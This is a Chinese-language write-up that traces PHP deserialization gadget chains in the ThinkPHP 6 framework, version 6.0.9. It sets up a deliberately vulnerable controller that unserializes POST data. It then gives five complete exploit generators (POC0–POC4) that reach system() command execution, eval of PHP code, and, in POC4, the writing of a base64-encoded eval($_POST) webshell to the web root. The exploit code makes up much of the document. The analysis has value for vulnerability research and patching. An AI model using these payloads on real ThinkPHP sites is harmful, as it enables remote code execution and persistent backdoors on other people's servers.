查看tp官方文档:
执行下面这条命令:
composer create-project topthink/think tp
然后在index控制器下写入一条反序列化的代码
@unserialize(base64_decode($_POST['data']));
POC0
反序列化利用链通常以__destruct()
方法作为起点,在ThinkPHP5中通常使用的是think\process\pipes\Windows
类的__destruct()
方法,而在ThinkPHP6中移除了think\process\pipes\Windows
类,但__toString
方法后的链依然存在,所以首先需要找到一个可用的__destruct()
方法。
__destruct()
方法
首先全局搜索__destruct()
方法,这里选择think\Model
类的__destruct()
方法作为起点。在这里需要注意think\Model
类是抽象类,需要找到它的一个子类进行实例化,这里选择的是think\model\Pivot
类。
在__destruct()
方法中,当满足$this->lazySave==true
时,可以进到$this->save()
方法
然后跟进$this->save()
方法。
在下断点的地方通过控制$this->exists
调用到$this->updateData()
方法或$this->insertData($sequence)
方法。但在这之前要过了前面的一段if判断,这里只要使得$this->data
为空,$this->withEvent
为false就可以通过这个判断。然后控制$this->exists = false==false
进入到$this->insertData($sequence)
中。
再继续分析$this->insertData($sequence)
这前面的代码都可以过掉,然后可以调用到$this->checkAllowFields()
方法,接着继续分析$this->checkAllowFields()
方法
这里只要满足$this->field
和$this->schema
都为空就可以调用到$this->db()
方法
然后在$this->db()
方法中对$this->table
和$this->suffix
进行了字符串拼接,只要将$this->table
或$this->suffix
赋值为某个类就可以调用到目标类的__toString()
方法,接着就可以找__toString()
方法的利用链了。
__toString()
方法
然后全局搜索__toString()
方法,在think\model\concern\Conversion
这个Trait中找到__toString()
方法,然后在think\Model
类中使用了这个Trait。
在__toString()
方法中调用了$this->toJson()
方法,接着调用了$this->toArray()
方法
在$this->toArray()
中有一段代码遍历了$this->data
然后将$key
传入了$this->getAttr()
方法中,然后查看$this->getAttr()
方法
在这里调用了$this->getValue()
方法,传入的参数中$value
参数由$this->getData($name);
控制,然后再查看$this->getData()
方法
在这里有通过$this->getRealFieldName()
方法获取到$fieldName
参数,然后判断$this->data
中是否存在这个$key
,然后从$this->data
取出对应的$value
进行return
在$this->getRealFieldName()
方法中可以控制它返回传入的$name
参数,而$name
参数实际是前面传入的$key
的值,因此是可控的,而$this->data
也是可控的,所以$this->getData()
方法返回的$value
值是可控。接着可以查看$this->getValue()
方法。
在$this->getValue()
方法中通过$this->withAttr[$fieldName]
获取了$closure
的值,然后动态调用了$closure
这个函数,并传入了$value
作为参数。于是这里只要控制$closure
的值为system,$value
的值为system函数的参数就可以执行命令。$value
的值是由前面的$this->data[$fieldName]
进行控制的,$closure
的值是由$this->withAttr[$fieldName]
控制的,完整的POC如下:
<?php namespace think\model\concern; trait Attribute { private $data = ["key" => "id"]; private $withAttr = ["key" => "system"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave=true; protected $withEvent=false; private $exists=false; private $force=true; protected $table; function __construct($obj = '') { $this->table = $obj; } } namespace think\model; use think\Model; class Pivot extends Model{ } $a = new Pivot(); $b = new Pivot($a); echo base64_encode(serialize($b));
TP6.0.9 POC1
在TP6.0.9 版本中上面这条链是用不了的,在最终执行代码的地方会验证$closure instanceof \Closure
直接传入system无法执行代码
$closure = $this->withAttr[$fieldName]; if ($closure instanceof \Closure) { $value = $closure($value, $this->data); }
不过在前面存在一处$this->getJsonValue()
方法
$this->getJsonValue()
方法中存在一处动态调用,方法名和参数都可控,仍然可以用与执行代码
POC1如下:
<?php namespace think\model\concern; trait Attribute { private $data = ["key" => ["id"]]; private $withAttr = ["key" => ["system"]]; protected $jsonAssoc = true; protected $json = ["key"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave=true; protected $withEvent=false; private $exists=false; private $force=true; protected $table; function __construct($obj = '') { $this->table = $obj; } } namespace think\model; use think\Model; class Pivot extends Model{ } $a = new Pivot(); $b = new Pivot($a); echo base64_encode(serialize($b));
TP6.0.9 POC2
这条链是依然是将think\Model
类的__destruct()
方法作为起点
toArray()方法
在第一条链的$this->toArray()
方法中存在一处$this->appendAttrToArray()
方法
然后查看$this->appendAttrToArray()
方法:
在这里的$relation
是由我们可控的,这里执行了$relation->append()
方法,可以调用到某些类的__call()
方法
__call()方法
然后全局搜索__call()
方法,在think\log\ChannelSet
类中找到__call()
方法可以控制另一个__call()
方法传入的参数
而在另一处think\Validate
类中的__call()
方法,将传入参数传入$this->is()
方法
然后再查看$this->is()
方法
在这里有一处将我们刚刚传入的参数传给了call_user_func
函数作为参数,而调用的函数正好是可控的,将这两处__call()
方法结合起来正好就能调用任意函数执行命令
POC2如下:
<?php namespace think; class Validate{ protected $type = []; public function __construct(){ $this->type["channel"] = "system"; } } namespace think\log; use think\Validate; class ChannelSet{ protected $log; protected $channels; public function __construct(){ $this->log = new Validate(); $this->channels = ["id"]; } } namespace think\model\concern; trait RelationShip{ private $relation; } trait Attribute{ private $data; } namespace think; use think\model\concern\RelationShip; use think\log\ChannelSet; use model\concern\Attribute; abstract class Model{ private $lazySave=true; private $exists=false; public $table; protected $visible = ["a"]; protected $append = ["key"=>"value."]; public function __construct($a = ""){ $this->data = ["a"]; $this->table =$a; $this->relation = ["value"=>new ChannelSet()]; } } namespace think\model; use think\Model; class Pivot extends Model{ } $a = new Pivot(); $b = new Pivot($a); echo base64_encode(serialize($b));
TP6.0.9 POC3
上一条利用链可以调用任意函数且参数可控,也能调用类中的方法,然后在think\view\driver\Php
类中的display()
方法中使用eval执行PHP代码,可以控制call_user_func()
函数调用该方法执行PHP代码
POC3如下:
<?php namespace think\view\driver; class Php{ } namespace think; use think\view\driver\Php; class Validate{ protected $type = []; public function __construct(){ $this->type["channel"] = [new Php(),"display"]; } } namespace think\log; use think\Validate; class ChannelSet{ protected $log; protected $channels; public function __construct(){ $this->log = new Validate(); $this->channels = ["<?php phpinfo();die(); ?>"]; } } namespace think\model\concern; trait RelationShip{ private $relation; } trait Attribute { private $data; } namespace think; use think\model\concern\RelationShip; use think\log\ChannelSet; use model\concern\Attribute; abstract class Model{ private $lazySave = true; private $exists = false; public $table; protected $visible = ["a"]; protected $append = ["key"=>"value."]; public function __construct($a = ""){ $this->data = ["a"]; $this->table =$a; $this->relation = ["value"=>new ChannelSet()]; } } namespace think\model; use think\Model; class Pivot extends Model{ } $a = new Pivot(); $b = new Pivot($a); echo base64_encode(serialize($b));
TP6.0.9 POC4
在TP5中如果能调用__call()
方法就能从think\console\Output
类中的write()
方法最终调用到File
类的set()
方法写马。但在TP6.0.9中的write()
方法中对传入的参数的类型有进行限制,不能再以think\session\driver\Cache
类作为跳板调用set()
方法
不过还有一条链可以写马
在League\Flysystem\Cached\Storage\AbstractCache
这个抽象类中存在__destruct()
方法调用了$this->save()
方法
$this->save()
方法存在于某个接口中,没有实现。于是可以全局搜索继承AbstractCache
的子类。
在这里的think\filesystem\CacheStore
类中实现了save()
方法,其中$contents
可控,不过经过了一次json_encode
,然后这里将这三个参数传入了$this->store->set()
方法,然后就可以调用到File类的set()
方法写马
POC4如下:
<?php namespace think\cache; abstract class Driver{} namespace think\cache\driver; use think\cache\Driver; class File extends Driver{ protected $options; public function __construct(){ $this->options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => "php://filter/convert.base64-decode/resource=/var/www/html/public", 'path' => '', 'hash_type' => 'md5', 'data_compress' => false, 'tag_prefix' => 'tag:', 'serialize' => ["serialize"], ]; } } namespace League\Flysystem\Cached\Storage; abstract class AbstractCache{ protected $autosave = false; protected $cache = []; protected $complete = []; } namespace think\filesystem; use League\Flysystem\Cached\Storage\AbstractCache; use think\cache\driver\File; class CacheStore extends AbstractCache{ protected $key; protected $store; public function __construct(){ $this->key = "123"; $this->store=new File(); $this->complete="PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbCJdKTsgPz4="; } } $a = new CacheStore(); echo base64_encode(serialize($a));